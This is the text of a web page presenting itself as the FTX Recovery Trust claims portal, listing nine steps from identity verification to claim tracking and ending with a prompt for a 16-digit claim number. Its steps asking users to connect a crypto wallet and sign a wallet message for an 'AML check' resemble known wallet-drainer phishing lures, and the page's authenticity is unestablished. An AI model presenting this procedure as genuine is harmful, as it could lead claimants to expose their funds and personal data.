FTX Recovery Trust

Welcome to the FTX Customer Claims Portal

This portal allows FTX customers to validate accounts, connect wallets, and complete steps needed for claim distribution.

Begin your recovery process below.
1
STEP 1

Verify Identity

Use your unique FTX number (from your email) to begin identity verification on the FTX Claims Portal.

2
STEP 2

Choose Payout Wallet

After identity verification, select your preferred crypto wallet for receiving future distributions.

3
STEP 3

Connect Wallet

Securely connect the selected wallet to the portal to authorize future steps.

4
STEP 4

AML Verification

Sign a wallet message to complete the required Anti-Money Laundering check.

5
STEP 5

Submit Proof of Claim

With identity and wallet verified, submit your official claim through the portal.

6
STEP 6

Confirm Submission

Review the information you submitted to ensure all records are accurate.

7
STEP 7

Tax Documentation

Depending on your country, tax forms may be required (W-9, W-8BEN, etc.) before distribution.

8
STEP 8

Set Distribution Preferences

Choose your method of distribution—crypto wallet or other eligible method once compliance is verified.

9
STEP 9

Track Claim Status

Use the dashboard to monitor your claim progress and scheduled distributions.
This Consent to Process Personal Data (the "Consent") applies to FTX Trading Ltd. and the FTX Recovery Trust (and any of their successors), as defined under applicable laws ("FTX").

Verify your identity

Use your 16-digits Claim Identification Number: